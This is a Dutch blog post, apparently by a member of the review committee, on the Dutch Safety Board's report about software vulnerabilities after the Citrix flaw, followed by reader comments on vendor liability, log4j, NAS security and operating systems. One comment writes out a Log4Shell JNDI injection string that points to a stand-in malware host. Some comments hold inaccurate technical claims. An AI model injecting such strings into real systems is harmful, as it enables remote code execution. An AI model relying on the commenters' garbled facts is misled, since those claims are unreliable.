Fundamenteel ingrijpen is nodig voor Nederlandse digitale veiligheid

De Nederlandse aanpak van digitale veiligheid moet snel en fundamenteel veranderen om te voorkomen dat de maatschappij ontwricht raakt door cyberaanvallen. Dat concludeert de Onderzoeksraad voor Veiligheid in het recent gepubliceerde rapport ‘Kwetsbaar door software’. Nadat het Citrix-lek eind 2019 de kop opstak, maakten aanvallers daar grootschalig gebruik van. De verdediging hiertegen verliep gebrekkig, onder meer door beperkte informatie en trage alerts. Dat moet anders.

(Ik zat in de begeleidingscommissie.) Veilige software is allereerst de verantwoordelijkheid van de fabrikant. De Onderzoeksraad stelt dat fabrikanten meer zouden moeten investeren om de veiligheid van software voortdurend te verbeteren. Fabrikanten overstelpen softwaregebruikers nu met patches en updates om gebreken in hun software te verhelpen zonder met structurele oplossingen te komen. Er zijn geen instrumenten die afnemers van software onafhankelijk inzicht bieden in de veiligheid van de software.

Het is volgens de Onderzoeksraad tevens van groot belang dat er vanuit de overheid een centrale aanpak komt om dreigingen te signaleren en alle potentiële slachtoffers van cyberaanvallen zo snel en direct mogelijk te waarschuwen, met voldoende mandaat en wettelijke waarborgen. Dit is natuurlijk een reactie op de destijds beperkte opstelling van het NCSC, dat alleen overheidsdiensten en vitale organisaties mocht waarschuwen onder de wet. Tegelijk zie ik ook wel hoe dit heel lastig is, hoe vind je immers álle potentiële slachtoffers van bijvoorbeeld de log4j problemen?

De Onderzoeksraad doet de aanbeveling om op Europees niveau kwaliteitseisen aan software te stellen om softwarefabrikanten te dwingen verantwoordelijkheid te nemen voor de veiligheid van hun product. De Onderzoeksraad adviseert overheden en het bedrijfsleven hun krachten te bundelen. Door samen te werken kunnen ze hun positie richting softwarefabrikanten versterken en hun schaarse expertise beter benutten.

Arnoud

22 reacties

  1. “Fabrikanten overstelpen softwaregebruikers nu met patches en updates om gebreken in hun software te verhelpen” vind ik al heel veel plezieriger dan geen patches. Vooral richten op de fabrikanten / leveranciers ja. Zeker ook overheden worden steeds meer SaaS en dan heb je nog minder te sturen wat betreft beveiliging dan bij lokaal gebruik van standaardsoftware – en ook daar heb je maar beperkt invloed.

    Kwaliteitseisen aan software stellen om softwarefabrikanten te dwingen verantwoordelijkheid te nemen voor de veiligheid van hun product – hoe dan?

    Door er softe richtlijnen van de maken (dan sijpelt het misschien de komende tig jaar door, als de klant al de voorkeur geeft over non-functionele zaken boven knoppen met mooie kleurtjes en / of lage prijzen), door harde en door de klant te verifiëren testbare richtlijnen te stellen (kansloos, denk ik), of door de leverancier per datumX aansprakelijk te stellen (oneindige aansprakelijkheid? Kansloos) of dreigen met boetes bij excessen (de AVG laat zien dat de meeste bedrijven zich niet terugtrekken uit een markt als die van Europa)?

    Maar, even snel software vanaf nul opbouwen zit er niet in. -Structurele- oplossingen i.c.m. doorlopende diensten leveren is sowieso een kwestie van vele vele jaren?

    1. Waarom zijn harde, verifieerbare richtlijnen kansloos? Doen we bij auto’s toch ook? Daar heeft de klant ook een voorkeur voor features boven voetgangersveiligheid. Maar de fabrikant heeft zich gewoon te houden aan, regelmatig aangescherpte, eisen. En natuurlijk haal je niet alles er uit. Heartbleed bestond jaren in voor iedereen toegankelijke code. Dus moet een deel van de verantwoordelijkheid bij de fabrikant liggen. Ja, met harde boetes als lekken niet heel snel gepatcht worden.

      1. In de zin dat ik het niet zie gebeuren dat er concrete lijsten komen. Iets als ‘gebruikt TLS versie x’ of zelfs ‘heeft audit type X doorstaan’ ja, maar dat eerste is onvoldoende om het geheel structureel veilig te zien, het tweede is alleen haalbaar voor grote leveranciers. Waar kan ik een concrete afvinklijst vinden voor aantoonbaar security (& privacy?) by design? Die ook nog eens is te verifiëren door de klant zelf?

        Er zijn honderden auto-types en vele miljoenen apps in appstores, Linux repositories laat staan ergens te downloaden voor Windows, en er zijn er vast ook zoveel SaaS-applicaties. En dan zijn er nog in de kelder gebouwde applicatie die ‘het gewoon doen’. Een in de kelder gemaakte auto krijgt geen nummerbord, een auto zonder nummerbord valt op. Fysieke goederenstromen zijn sowieso eenvoudiger te verifiëren (en ook dan niet waterdicht). Merk ook op dat het bij auto’s heel lang duurt voor vernieuwing wordt toegelaten, lane assist is zo’n beetje de max van wat we mogen gebruiken en dan nog amper. De vernieuwing bij software gaat enorm veel sneller door enorm vele meer partijen.

        Daar komt nog bij dat je de APK keurmeester aansprakelijk zou kunnen stellen voor gevolgschade als die vergeet de remmen en banden te checken. Dan kan je bij software dan ook beginnen met die aansprakelijkheid (en dan haken er softwareleveranciers af).

  2. Het verbaast mij op dit moment vooral dat het log4j dilemma maar zo weinig aandacht krijgt terwijl het een extreem ernstige kwetsbaarheid is. Een aanvaller kan er namelijk voor zorgen dat de server code uitvoert die de aanvaller oplevert als een Java binary. Het kan gewoon gebruikt worden om een complete server over te nemen of met ransomware te infecteren. En ik vraag mij af hoeveel servers er nog zijn waar deze kwetsbaarheid gewoon in zit en in blijft zitten omdat men niet de moeite neemt om een update uit te voeren…

    Ik denk hierbij vooral aan de diverse NAS oplossingen waarbij mensen thuis hun eigen file server hebben die dan standaard gebruik maakt van Apache onder Linux met eventueel log4j om informatie te loggen. En die file servers hangen dan mogelijk aan het netwerk en zijn dus kwetsbaar.

    1. Hoeveel servers we mee blijven zitten vraag ik me ook wel een beetje af.

      Maar wat ik niet snap van je verhaalt is over die NAS oplossingen. Want als ik zo even google zijn zowel de systemen van Synology en QNAP beide niet gevoelig. Let ook op, het programma Apache (of volledige, de Apache HTTP server) heeft niks te maken met deze kwetsbaarheid. Het enige gedeelde met log4j is dat ze bij dezelfde organisatie zitten/vandaan komen, die onhandig genoeg ook Apache heet (of voluit Apache Software Foundation).

      1. Ik heb een Synology NAS die tevens als web server te gebruiken is voor simpele websites. (Eventueel met PHP.) Ik gebruik deze voor content delivery voor mijn websites zodat mijn server minder belast is. Daar gebruik je dan “Web Station” voor, waarbij je volledig kunt instellen of je Apache 2.2 of 2.4 wilt gebruiken. Of anders Nginx. En ook nog eens welke PHP versie je daarbij wilt, helemaal tot PHP 7.4 toe… En NodeJS…

        Het voelt echter een beetje oud aan en voor mijn CDN’s gebruik ik dan maar Nginx en in principe statische content. Maar ik kan er ook phpMyAdmin bij gebruiken voor de MariaDB database. En daarnaast kan ik instellen dat alle gebruikers op de NAS een eigen home page kunnen aanmaken die op Apache draait…

        Maar goed, de log4j kwetsbaarheid zit vooral in Java code, niet JavaScript. En volgens mij zijn er geen Java apps op mijn NAS en zal deze mogelijk wel veilig zijn. Maar Synology heeft ook NAS systemen die wel Java ondersteunen en dan kun je in problemen komen. Die Java ondersteuning kan ook zitten in third-party uitbreidingen op je NAS en zijn vaak zo makkelijk te installeren. Zo legt Domoticx even netjes uit hoe je Java op je NAS installeert voor al die leuke IoT projecten in huis.

        Het probleem is het product Apache og4j door Apache wordt aangeboden als een der logging opties binnen Java code. En bij Google leggen ze uit wat het probleem eigenlijk is en hoe ze het momenteel oplossen. En dat er kennelijk 35.863 producten bestaan in Maven Central die kwetsbaar zijn, wat zo’n 8% van het totaal is.

        Nu is Apache HTTP Server in C geschreven en gebruikt standaard dus geen Java, dus dat lost alles simpel op. Het probleem is alleen dat een Apache installatie zonder Java, PHP of ander framewerk in de achtergrond ook maar weinig doet en dus installeren mensen wat ze denken nodig te hebben. En als daar een tool tussen zit die met Java en Log4j werkt, dan ben je het haasje… En ja, mensen met een NAS zien veelal een leuke lijst van apps om erop te installeren terwijl onduidelijk is of die apps wel veilig zijn. Lekker, op je systeem dat vooral als backup van je data is bedoeld… 🙂

        1. “Nu is Apache HTTP Server in C geschreven en gebruikt standaard dus geen Java, dus dat lost alles simpel op. “

          Maar C heeft zoals bekend andere kwetsbaarheden. Zelfs als je een een extreem goede en verantwoordelijke programmeur bent, zoals ik (ha ha) kan een buffer overflow er een enkele keer doorheen glippen.

          1. Maar C heeft zoals bekend andere kwetsbaarheden.

            Klopt, maar ieder systeem heeft nu eenmaal kwetsbaarheden. En veel van die kwetsbaarheden zijn vaak moeilijk te misbruiken. Een buffer overflow is vervelend, maar niet al te makkelijk om te misbruiken. Ja, je kunt een applicatie ermee laten crashen.

            Wat ik van een der Log4j kwetsbaarheden heb begrepen is dat je probeert om een speciale URL te laten loggen door de module. De ingebouwde string formatter blijkt namelijk de string te controleren op speciale parameters om daarmee dan tekst uit een andere bron mee in te voegen. Misbruik was zo eenvoudig dat je gewoon een malware module in Java laat aanroepen door de URL naar die module in b.v. een gebruikersnaam op te nemen. Dit is namelijk JNDI, ofwel Java Naming and Directory Info. Een string als: “${jndi:http://malware.site/install}” dat naar de log wordt weggeschreven wordt eerst nog even netjes met een lookup ‘ingevuld’. En zo installeer je dus malware op je systeem en mag je daarna 20 bitcoins betalen om er weer bij te mogen. Of zoiets…

            Da’s iets ernstiger dan een buffer overflow die je server plat legt en een reboot vereist… 🙂

            1. Begin december heb ik opezocht wat het probleem met log4j was voor de omgevingen die wij beheren en toen wist SuSE me te vertellen dat het probleem zich beperkt tot bepaalde versies van log4j, versie 1.2.x had er geen last van en alleen SUSE OpenStack Cloud krijgt een update want die gebruikt log4j 2.x.

        2. Inderdaad er zijn behoorlijk wat dingen beschikbaar op die markt places. Van de producten van de leverancier heb je nog grote kans dat ze redelijk snel worden gepatched. Maar community marktplaces of nog erger bij zelf installatie kan ik me inderdaad voorstellen dat er meer risico’s zijn. Vooral met dat de gemiddelde NAS gebruiker er niet dagelijks op inlogt om te kijken of er updates zijn.

          Daarnaast, een nas hang meestal achter een NAT en is dus niet/slecht bereikbaar van buiten het thuisnetwerk. Nu zullen er vast genoeg mensen hem open zetten naar het grote internet, maar de vraag is hoe dit overlapt met de groep mensen die bekend kwetsbare software er op heeft staan.

    2. De kennis van gebruikers is dan ook af en toe droevig: Klant: Hoe zit het bij jullie met dat log4j probleem. Ik: Wij maken geen gebruik van log4j Klant: Kunnen jullie dan schriftelijk bevestigen dat jullie de kwetsbaarheid gepatched hebben? (De klant had blijkbaar de klok wel horen luiden) Ik: Dat kan ik niet, want wij gebruiken geen log4j dus er valt niets te ‘patchen’. Klant: Dan mogen wij jullie software niet meer gebruiken Ik: telefoon op mute even diep zuchten, telefoon van mute: “Verbind me anders even door met jullie IT afdeling”.

      Het is wel allemachtig zorgwekkend – in een samenleving die zo afhankelijk is van computers en computernetwerken – hoe weinig sommige mensen met beslissingsbevoegdheid over de IT bij bedrijven over IT weten.

      1. Je zou niet de eerste leverancier zijn die bij nader inzien toch wel wat Log4J heeft draaien maar dat zelf niet wist. Als je zeker weet van niet dat kan je prima op schrift stellen dat alle instanties die draaien zijn geüpdatet.

        Neemt niet weg dat inderdaad er heel wat klanten geen idee hebben wat er nu concreet aan de hand is en maar wat roepen dat ze elders hoorden. Wat nog eens pleit voor het leggen van de bal bij de developers, leveranciers, dienstverleners. De klanten weten ‘niet altijd’ hoe en wat.

  3. Misschien is één van die benodigde veiligheidsingrepen ook het verbieden van Windows? Ik heb het op de desktop gebruikt van ca. 1994 tot augustus 2019, en ik herinner me de urenlange updates, zonder duidelijke indicatie van wat er gebeurde en hoe lang het nog ging duren. Het systeem was al die tijd onbruikbaar. De verleiding om die updates uit te stellen of over te slaan (indien mogelijk) wordt dan wel heel groot.

    Ik heb geen ervaring met Windows-software voor servers. Gaan de updates daarbij ook zo krukkig?

    Nu met Linux Mint krijg ik meerdere updates per dag, maar die duren maar een paar seconden of minuten. Met mijn uiterst trage internetverbinding (8/1 megabit/s) duurt het misschien een keer 10 minuten, als zowel Firefox als Google Chrome (ieder 80 MB) moeten worden bijgewerkt. Maar essentieel punt: het systeem blijft onderwijl gewoon bruikbaar, zelfs het programma dat geüpdate gaat worden. Dus dan is een kwartier downloaden en bijwerken niet erg, desnoods een uur ook niet. Reboots zijn zelden nodig, alleen als er een nieuwe Linux-kern is. En dat gaat ook snel.

    En het kan volautomatisch, las ik ergens. Ga ik op de web- en mailserver ook toepassen (Ubuntu Server; maar nu nog FreeBSD).

    1. Wat ik ook zo raar vind, over FreeBSD dan, is dat kwetsbaarheden al gepubliceerd worden terwijl er nog geen patch is. Het duurt soms dagen, weken, zelfs maanden voor die beschikbaar komen. Nu variëren de ernst en exploiteerbaarheid van de fouten natuurlijk, maar toch.

      Ik zou denken dat responsible disclosure (althans naar het grote publiek) altijd pas plaatsvindt als de patch er ook is. Maar dat is kennelijk bij FreeBSD niet het beleid. Bij andere systemen wel?

      1. Dat is één school van RD. De gedachte is dat mensen liever weten dat ze kwetsbaar zijn, zodat ze andere maatregelen kunnen nemen. Desnoods het ding van internet af. Maar als jij weet dat hele hordes mensen kwetsbaar gaan zijn terwijl er geen oplossing is, hoe ethisch is het dan dat jij je mond houdt?

    2. Misschien is één van die benodigde veiligheidsingrepen ook het verbieden van Windows?

      Dat is puur onzin, daar de moderne Windows versies qua beveiliging al behoorlijk beter zijn dan de gemiddelde Linux of BSD installatie. Maar bij Linux tel ik ook eventjes alle Android installaties bij op, daar ook dat gewoon Linux systemen zijn. Bedenk verder ook even dat het Citrix-lek het lek door Citric werd veroorzaakt doordat ze alles via de “Cloud” wilden doen en het Log3j lek alleen bij Apache voorkomt, wat puur open source is. Daarnaast wordt Apache vooral op Linux gebruikt.

      De realiteit is gewoon dat de meest populaire systemen ook het meest aangevallen worden. Als je nu kijkt naar alle kwetsbaarheden onder Linux dan wil je bijna terug naar het oude MS-DOS. 🙂 Zo is er een kwetsbaarheid in Linux die al sinds 1997 bestaat en in 2018 voor het laatst een update kreeg. Maar niemand die interesse in deze kwetsbaarheid lijkt te hebben. Volgens mij staat deze bug nog steeds open…

      Grappig is ook dat men nu probeert te onderzoeken waarom Log4j zo enorm kwetsbaar bleek, terwijl het puur open source is en er zoveel gebruikers naar hebben moeten kijken. Want daar gaat het bij open source toch om? Dat iedereen de broncode kan nakijken? Tja, als je verwacht dat dit ook gebeurt dan gaat het fout. Het team dat het moest onderhouden was klein en had wel betere dingen te doen dan dit kleine onderdeel van het Internet veilig te houden. Ja, jammer dat een groot deel van het Internet er dus op rust en dus onderuit gaat als dit onderdeeltje onderuit gaat…

      Nu kun je Windows wel verbieden, maar handiger is het om een schadeclaim in te dienen bij Microsoft, wat gewoon kan. En wat ook meerdere malen is gebeurd in het verleden. Bij open source gebruik je andermans code op eigen risico dus als het mis gaat is het je eigen schuld en heb je geen garanties. En dat maakt een groot verschil!

      En dan klaag je over software updates onder Windows maar onder Windows 10 gaat dat eigenlijk volautomatisch en op de achtergrond en het gaat eigenlijk al vele jaren goed. En ja, dat geldt ook voor de Windows server software. Die automatische updates komen tegenwoordig bij steeds meer besturingssystemen naar voren en ook steeds meer software bevat nu een systeem voor automatische updates of in ieder geval een waarschuwing dat er een update is.

      Maar goed, volgens mij ben je nu ook een beetje aan het trollen want ik heb niet het idee dat jij de laatste jaren Windows hebt gebruikt. En ook niet het idee dat je ooit een legale versie van Windows hebt gebruikt. Ja, als je Windows 95 tot 2019 bent blijven gebruiken heb je zeker een probleem. Maar goed, ik weet niet waar jij je Windows vandaan haalt en hoe jij je eigen installatie gewoon de grond inboort met foute software.

      Ik gebruik zowel Windows als MacOS als Ubuntu Linux en OpenBSD en heb tot nog toe de meeste problemen gehad met Ubuntu omdat er altijd iets op ontbreekt wat weer een extra installatie vraagt en je dan weer extra rotzooi krijgt die weer de nodige kwetsbaarheden kan bevatten. Maar mijn Windows server draait al bijna 5 jaar volautomatisch en regelt zelf zijn updates. Hoef ik verder niets aan te doen… Maar mijn Ubuntu box heb ik vorige week opnieuw mogen formatteren omdat een onderdeel ervan totaal niet meer wilde werken. Kennelijk twee applicaties die elkaar in de weg zaten, maar vind dan maar eens uit welke dat zijn…

      1. De tijden van de “Ping of Death” zijn al ruim voorbij; Microsoft heeft aanzienlijke stappen gezet naar een veiliger product. Wat ik nu wel durf te beweren is dat Windows systemen in de handen van competente systeembeheerders veiliger zijn dan Linux/OpenBSD/MacOS systemen zonder competent beheer. (Denk aan laptops waarop de arme student Proctorio heeft moeten installeren.)

        Het is het melden waard dat in veel gevallen lekken in applicatie-software gebruikt worden om een systeem te infecteren. “Welke applicaties heb jij geïnstalleerd?” is dan een relevantere vraag dan “Welk OS draai je?” (Bij de log4j kwetsbaarheid is het van belang te weten hoe de log4j module geconfigureerd is om te bepalen of een systeem kwetsbaar is of niet.)

        1. Ik heb in de loop der jaren gewerkt met Windows 3.10, 3.11, 95, 98, Millennium Edition, Vista, 7, 8 en 10. Allemaal legaal (hoewel, van die 3.11 weet ik niet meer precies hoe dat gegaan is), want meegekomen op eerlijk gekochte hardware. En alle Office- en Word-versies erop waren ook netjes betaald.

          Op mijn huidige zonder OS aangeschafte laptop zat toch een Win-10 demoversie. Die gebruik ik soms nog om chkdsk /d te draaien op USB-drives met NTFS. Volgens mij is dat een legaal gebruik van de demo?

          1. Het is ook een kwestie van smaak, van gevoel. IBM vond ik vanaf het begin onsympathiek, HP3000 was een verademing, bij Unix en C (1985) wist ik meteen dat dat het voor mij helemaal was. In 1990 door werkkansen en keuzes toch weer naar DOS, later Windows, afschuwelijk, maar je doet het ermee. En toch ik voor mijn werk geen Windows meer nodig had (Déjà Vu vereiste het) en door die update-ellende ging Windows definitief de deur uit. Nu ben ik terug waar ik wist dat ik thuishoor: Unix. Ondertussen vanaf 2000 of zo wel altijd een webserver gehad onder FreeBSD. Het contact met Unix nooit verloren.

      2. Maar goed, volgens mij ben je nu ook een beetje aan het trollen want ik heb niet het idee dat jij de laatste jaren Windows hebt gebruikt. En ook niet het idee dat je ooit een legale versie van Windows hebt gebruikt.

        Dat zeg ik, sinds augustus 2019 geen Windows meer. Ik MOEST wel over, want die gedwongen Creative nogwat update van drie uur, die mislukte altijd (vermoedelijk door iets raars van HP op die laptop, maar die doet het nu onder Linux Mint wel nog steeds, hoewel daar ook wat troubles bij het installeren). Op een dag mislukte OOK het terugdraaien van weer een uur, en toen startte er niks meer op. De beloofde herstelfunctie deed het ook niet. Windows heeft zich bij mij echt zelf in de gort gedraaid. Door de updates dus.

        Dus, geen getroll, ik vertel gewoon wat ik eerlijk meegemaakt heb.

      3. Ja, als je Windows 95 tot 2019 bent blijven gebruiken heb je zeker een probleem. Maar goed, ik weet niet waar jij je Windows vandaan haalt en hoe jij je eigen installatie gewoon de grond inboort met foute software.

        Een ruime fantasie en jumping to conclusions: het kunnen soms nuttige vaardigheden zijn.

Geef een reactie

Handige HTML: <a href=""> voor hyperlinks, <blockquote> om te citeren, <UL>/<OL> voor lijsten, en <em> en <strong> voor italics en vet.